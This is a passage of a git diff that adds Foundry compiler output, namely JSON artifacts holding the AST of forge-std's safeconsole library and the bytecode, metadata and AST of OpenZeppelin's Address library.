3:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397769:6:22","nodeType":"YulIdentifier","src":"397769:6:22"},"nativeSrc":"397769:17:22","nodeType":"YulFunctionCall","src":"397769:17:22"},"nativeSrc":"397769:17:22","nodeType":"YulExpressionStatement","src":"397769:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397806:5:22","nodeType":"YulLiteral","src":"397806:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"397813:3:22","nodeType":"YulIdentifier","src":"397813:3:22"}],"functionName":{"name":"mstore","nativeSrc":"397799:6:22","nodeType":"YulIdentifier","src":"397799:6:22"},"nativeSrc":"397799:18:22","nodeType":"YulFunctionCall","src":"397799:18:22"},"nativeSrc":"397799:18:22","nodeType":"YulExpressionStatement","src":"397799:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397837:5:22","nodeType":"YulLiteral","src":"397837:5:22","type":"","value":"0x160"},{"name":"m11","nativeSrc":"397844:3:22","nodeType":"YulIdentifier","src":"397844:3:22"}],"functionName":{"name":"mstore","nativeSrc":"397830:6:22","nodeType":"YulIdentifier","src":"397830:6:22"},"nativeSrc":"397830:18:22","nodeType":"YulFunctionCall","src":"397830:18:22"},"nativeSrc":"397830:18:22","nodeType":"YulExpressionStatement","src":"397830:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397868:5:22","nodeType":"YulLiteral","src":"397868:5:22","type":"","value":"0x180"},{"name":"m12","nativeSrc":"397875:3:22","nodeType":"YulIdentifier","src":"397875:3:22"}],"functionName":{"name":"mstore","nativeSrc":"397861:6:22","nodeType":"YulIdentifier","src":"397861:6:22"},"nativeSrc":"397861:18:22","nodeType":"YulFunctionCall","src":"397861:18:22"},"nativeSrc":"397861:18:22","nodeType":"YulExpressionStatement","src":"397861:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46540,"isOffset":false,"isSlot":false,"src":"397520:2:22","valueSize":1},{"declaration":46543,"isOffset":false,"isSlot":false,"src":"397549:2:22","valueSize":1},{"declaration":46570,"isOffset":false,"isSlot":false,"src":"397813:3:22","valueSize":1},{"declaration":46573,"isOffset":false,"isSlot":false,"src":"397844:3:22","valueSize":1},{"declaration":46576,"isOffset":false,"isSlot":false,"src":"397875:3:22","valueSize":1},{"declaration":46546,"isOffset":false,"isSlot":false,"src":"397578:2:22","valueSize":1},{"declaration":46549,"isOffset":false,"isSlot":false,"src":"397607:2:22","valueSize":1},{"declaration":46552,"isOffset":false,"isSlot":false,"src":"397636:2:22","valueSize":1},{"declaration":46555,"isOffset":false,"isSlot":false,"src":"397665:2:22","valueSize":1},{"declaration":46558,"isOffset":false,"isSlot":false,"src":"397694:2:22","valueSize":1},{"declaration":46561,"isOffset":false,"isSlot":false,"src":"397723:2:22","valueSize":1},{"declaration":46564,"isOffset":false,"isSlot":false,"src":"397753:2:22","valueSize":1},{"declaration":46567,"isOffset":false,"isSlot":false,"src":"397783:2:22","valueSize":1}],"id":46584,"nodeType":"InlineAssembly","src":"397484:405:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"395961:3:22","parameters":{"id":46537,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46530,"mutability":"mutable","name":"p0","nameLocation":"395973:2:22","nodeType":"VariableDeclaration","scope":46586,"src":"395965:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46529,"name":"bytes32","nodeType":"ElementaryTypeName","src":"395965:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46532,"mutability":"mutable","name":"p1","nameLocation":"395985:2:22","nodeType":"VariableDeclaration","scope":46586,"src":"395977:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46531,"name":"bytes32","nodeType":"ElementaryTypeName","src":"395977:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46534,"mutability":"mutable","name":"p2","nameLocation":"395997:2:22","nodeType":"VariableDeclaration","scope":46586,"src":"395989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46533,"name":"bytes32","nodeType":"ElementaryTypeName","src":"395989:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46536,"mutability":"mutable","name":"p3","nameLocation":"396009:2:22","nodeType":"VariableDeclaration","scope":46586,"src":"396001:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46535,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396001:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"395964:48:22"},"returnParameters":{"id":46538,"nodeType":"ParameterList","parameters":[],"src":"396027:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"safeconsole","contractDependencies":[],"contractKind":"library","documentation":{"id":33515,"nodeType":"StructuredDocumentation","src":"65:98:22","text":"@author philogy \n @dev Code generated automatically by script."},"fullyImplemented":true,"linearizedBaseContracts":[46587],"name":"safeconsole","nameLocation":"171:11:22","scope":46588,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":22} \ No newline at end of file diff --git a/contracts/out/utils/Address.sol/Address.json b/contracts/out/utils/Address.sol/Address.json new file mode 100644 index 000000000..f2f179cf0 --- /dev/null +++ b/contracts/out/utils/Address.sol/Address.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60566023600b82828239805160001a607314601657fe5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122087e4251ede715b602a98ca113f9e6bde810983d4c00738b158e2d6d0bacd77a564736f6c634300060c0033","sourceMap":"134:7684:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x73000000000000000000000000000000000000000030146080604052600080fdfea264697066735822122087e4251ede715b602a98ca113f9e6bde810983d4c00738b158e2d6d0bacd77a564736f6c634300060c0033","sourceMap":"134:7684:3:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Collection of functions related to the address type\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":\"Address\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":{\"keccak256\":\"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c\",\"dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":"Address"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":{"keccak256":"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea","urls":["bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c","dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Address.sol","id":827,"exportedSymbols":{"Address":[826]},"nodeType":"SourceUnit","src":"33:7786:3","nodes":[{"id":532,"nodeType":"PragmaDirective","src":"33:31:3","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.8",".0"]},{"id":826,"nodeType":"ContractDefinition","src":"134:7684:3","nodes":[{"id":550,"nodeType":"FunctionDefinition","src":"726:413:3","nodes":[],"body":{"id":549,"nodeType":"Block","src":"792:347:3","nodes":[],"statements":[{"assignments":[542],"declarations":[{"constant":false,"id":542,"mutability":"mutable","name":"size","nodeType":"VariableDeclaration","overrides":null,"scope":549,"src":"989:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":541,"name":"uint256","nodeType":"ElementaryTypeName","src":"989:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"id":543,"initialValue":null,"nodeType":"VariableDeclarationStatement","src":"989:12:3"},{"AST":{"nodeType":"YulBlock","src":"1076:32:3","statements":[{"nodeType":"YulAssignment","src":"1078:28:3","value":{"arguments":[{"name":"account","nodeType":"YulIdentifier","src":"1098:7:3"}],"functionName":{"name":"extcodesize","nodeType":"YulIdentifier","src":"1086:11:3"},"nodeType":"YulFunctionCall","src":"1086:20:3"},"variableNames":[{"name":"size","nodeType":"YulIdentifier","src":"1078:4:3"}]}]},"evmVersion":"istanbul","externalReferences":[{"declaration":536,"isOffset":false,"isSlot":false,"src":"1098:7:3","valueSize":1},{"declaration":542,"isOffset":false,"isSlot":false,"src":"1078:4:3","valueSize":1}],"id":544,"nodeType":"InlineAssembly","src":"1067:41:3"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":547,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":545,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":542,"src":"1124:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":546,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1131:1:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1124:8:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":540,"id":548,"nodeType":"Return","src":"1117:15:3"}]},"documentation":{"id":534,"nodeType":"StructuredDocumentation","src":"156:565:3","text":" @dev Returns true if `account` is a contract.\n [IMPORTANT]\n ====\n It is unsafe to assume that an address for which this function returns\n false is an externally-owned account (EOA) and not a contract.\n Among others, `isContract` will return false for the following\n types of addresses:\n - an externally-owned account\n - a contract in construction\n - an address where a contract will be created\n - an address where a contract lived, but was destroyed\n ===="},"implemented":true,"kind":"function","modifiers":[],"name":"isContract","overrides":null,"parameters":{"id":537,"nodeType":"ParameterList","parameters":[{"constant":false,"id":536,"mutability":"mutable","name":"account","nodeType":"VariableDeclaration","overrides":null,"scope":550,"src":"746:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":535,"name":"address","nodeType":"ElementaryTypeName","src":"746:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"745:17:3"},"returnParameters":{"id":540,"nodeType":"ParameterList","parameters":[{"constant":false,"id":539,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":550,"src":"786:4:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":538,"name":"bool","nodeType":"ElementaryTypeName","src":"786:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"785:6:3"},"scope":826,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":584,"nodeType":"FunctionDefinition","src":"2056:391:3","nodes":[],"body":{"id":583,"nodeType":"Block","src":"2127:320:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":561,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2153:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_Address_$826","typeString":"library Address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Address_$826","typeString":"library Address"}],"id":560,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2145:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":559,"name":"address","nodeType":"ElementaryTypeName","src":"2145:7:3","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2145:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":563,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"balance","nodeType":"MemberAccess","referencedDeclaration":null,"src":"2145:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"argumentTypes":null,"id":564,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":555,"src":"2170:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2145:31:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"416464726573733a20696e73756666696369656e742062616c616e6365","id":566,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2178:31:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9","typeString":"literal_string \"Address: insufficient balance\""},"value":"Address: insufficient balance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9","typeString":"literal_string \"Address: insufficient balance\""}],"id":558,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2137:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":567,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2137:73:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":568,"nodeType":"ExpressionStatement","src":"2137:73:3"},{"assignments":[570,null],"declarations":[{"constant":false,"id":570,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":583,"src":"2299:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":569,"name":"bool","nodeType":"ElementaryTypeName","src":"2299:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},null],"id":577,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"","id":575,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2349:2:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":null,"id":571,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":553,"src":"2317:9:3","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"call","nodeType":"MemberAccess","referencedDeclaration":null,"src":"2317:14:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":574,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"argumentTypes":null,"id":573,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":555,"src":"2340:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"2317:31:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":576,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2317:35:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"2298:54:3"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":579,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":570,"src":"2370:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564","id":580,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2379:60:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae","typeString":"literal_string \"Address: unable to send value, recipient may have reverted\""},"value":"Address: unable to send value, recipient may have reverted"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae","typeString":"literal_string \"Address: unable to send value, recipient may have reverted\""}],"id":578,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2362:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2362:78:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":582,"nodeType":"ExpressionStatement","src":"2362:78:3"}]},"documentation":{"id":551,"nodeType":"StructuredDocumentation","src":"1145:906:3","text":" @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n `recipient`, forwarding all available gas and reverting on errors.\n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n of certain opcodes, possibly making contracts go over the 2300 gas limit\n imposed by `transfer`, making them unable to receive funds via\n `transfer`. {sendValue} removes this limitation.\n https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n IMPORTANT: because control is transferred to `recipient`, care must be\n taken to not create reentrancy vulnerabilities. Consider using\n {ReentrancyGuard} or the\n https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]."},"implemented":true,"kind":"function","modifiers":[],"name":"sendValue","overrides":null,"parameters":{"id":556,"nodeType":"ParameterList","parameters":[{"constant":false,"id":553,"mutability":"mutable","name":"recipient","nodeType":"VariableDeclaration","overrides":null,"scope":584,"src":"2075:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":552,"name":"address","nodeType":"ElementaryTypeName","src":"2075:15:3","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":555,"mutability":"mutable","name":"amount","nodeType":"VariableDeclaration","overrides":null,"scope":584,"src":"2102:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":554,"name":"uint256","nodeType":"ElementaryTypeName","src":"2102:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"2074:43:3"},"returnParameters":{"id":557,"nodeType":"ParameterList","parameters":[],"src":"2127:0:3"},"scope":826,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":601,"nodeType":"FunctionDefinition","src":"3188:171:3","nodes":[],"body":{"id":600,"nodeType":"Block","src":"3277:82:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":595,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":587,"src":"3305:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":596,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":589,"src":"3313:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"hexValue":"416464726573733a206c6f772d6c6576656c2063616c6c206661696c6564","id":597,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3319:32:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df","typeString":"literal_string \"Address: low-level call failed\""},"value":"Address: low-level call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df","typeString":"literal_string \"Address: low-level call failed\""}],"id":594,"name":"functionCall","nodeType":"Identifier","overloadedDeclarations":[601,621],"referencedDeclaration":621,"src":"3292:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) returns (bytes memory)"}},"id":598,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3292:60:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":593,"id":599,"nodeType":"Return","src":"3285:67:3"}]},"documentation":{"id":585,"nodeType":"StructuredDocumentation","src":"2453:730:3","text":" @dev Performs a Solidity function call using a low level `call`. A\n plain`call` is an unsafe replacement for a function call: use this\n function instead.\n If `target` reverts with a revert reason, it is bubbled up by this\n function (like regular Solidity function calls).\n Returns the raw returned data. To convert to the expected return value,\n use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n Requirements:\n - `target` must be a contract.\n - calling `target` with `data` must not revert.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCall","overrides":null,"parameters":{"id":590,"nodeType":"ParameterList","parameters":[{"constant":false,"id":587,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":601,"src":"3210:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":586,"name":"address","nodeType":"ElementaryTypeName","src":"3210:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":589,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":601,"src":"3226:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":588,"name":"bytes","nodeType":"ElementaryTypeName","src":"3226:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"3209:35:3"},"returnParameters":{"id":593,"nodeType":"ParameterList","parameters":[{"constant":false,"id":592,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":601,"src":"3263:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":591,"name":"bytes","nodeType":"ElementaryTypeName","src":"3263:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"3262:14:3"},"scope":826,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":621,"nodeType":"FunctionDefinition","src":"3581:193:3","nodes":[],"body":{"id":620,"nodeType":"Block","src":"3698:76:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":614,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":604,"src":"3737:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":615,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":606,"src":"3745:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"hexValue":"30","id":616,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3751:1:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"argumentTypes":null,"id":617,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":608,"src":"3754:12:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":613,"name":"functionCallWithValue","nodeType":"Identifier","overloadedDeclarations":[641,691],"referencedDeclaration":691,"src":"3715:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,uint256,string memory) returns (bytes memory)"}},"id":618,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3715:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":612,"id":619,"nodeType":"Return","src":"3708:59:3"}]},"documentation":{"id":602,"nodeType":"StructuredDocumentation","src":"3365:211:3","text":" @dev Same as 